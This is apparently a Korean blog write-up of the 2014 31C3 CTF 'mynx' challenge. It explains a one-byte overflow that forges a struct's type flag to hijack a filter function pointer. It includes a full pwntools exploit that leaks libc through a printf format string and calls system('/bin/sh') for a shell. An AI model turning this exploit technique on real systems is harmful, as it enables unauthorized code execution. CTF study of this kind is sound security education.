2014 31c3 mynx
asciiart
구조체와 comment
구조체의 모양은 위와 같다. (data
부분은 array
임. 편의상 db
로 만듦)
간단하게 프로그램 분석을 해보면
첫 번째 hex
값이 0x49
라면 asciiart
0x37
이라면 comment
로 판단한다.
num
은 index
의 역할을 하며
총 세 가지의 filter
가 filter_ptr
에 저장된다.
art_data
, comment_data
는 우리가 입력한 문자열이 들어가는 곳이다.
filter_ptr
을 3번 메뉴 add_filter
에서 실행시켜주므로 filter_ptr
을 조작하면 풀리는 문제같다.
asciiart data
를 입력받는 구간이다.
256바이트를 잘 맞춰서 입력받고 있다.
근데 comment data
를 입력받는 곳을 보면 1바이트 오버플로우가 난다.
즉, 다음 구조체의 hex
값을 바꿀 수 있어 해당 구조체를 asciiart
나 comment
로 속이거나 할당되지 않은 것 처럼 보이게 할 수 있다. (hex
& 1이면 존재하는 것으로 판단하기 때문)
이를 이용하여 없어진 asciiart
가 존재하는 것 처럼 속이고 filter_ptr
을 조작할 수 있다.
printf
로 format string leak
을 한 후 system("/bin/sh")
를 실행시키면 된다.
from pwn import *
#context.log_level = 'debug'
e = ELF('./mynx')
s = process(e.path)
l = ELF('/lib/i386-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
def sl(x):
ru('>')
s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
sl(sel)
def add(filter_, art):
menu('1')
sl(filter_)
sl(art)
def browse():
menu('2')
def select(id_, sel, comment=''):
menu('3')
sl(id_)
sl(sel)
if sel=='1':
s.send(comment)
sl('0')
dump = '''
1.) add comment
2.) remove all comments
3.) apply filter
0.) back
'''
add('0', 'a1')
select('1', '1', 'c1')
add('0', 'a2')
add('0', 'a3') # victim
select('1', '2')
select('1', '1', '\x00'*252) # delete flag
select('3', '1', p32(e.plt['printf']) + '%11$x') # victim
select('1', '2')
select('1', '1', '\x00'*251 + '\x49') # make flag
select('3', '3') # format string leak
ru('%11$x')
ru('> ')
libc_base = int(s.recv(8),16) - 0x18637
print('libc_base! {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
select('1', '2')
select('1', '1', '\x00'*252) # delete flag
select('3', '1', p32(system) + '/bin/sh') # victim
select('1', '2')
select('1', '1', '\x00'*251 + '\x49') # make flag
select('3', '3') # system("/bin/sh")
io()
'system > writeup' 카테고리의 다른 글
2015 rctf welpwn (0) | 2019.02.06 |
---|---|
2016 belluminar remuheap (0) | 2019.02.06 |
nullcon hackim 2019 easy-shell (0) | 2019.02.03 |
nullcon hackim 2019 tudutudututu (0) | 2019.02.03 |
nullcon hackim 2019 babypwn (0) | 2019.02.03 |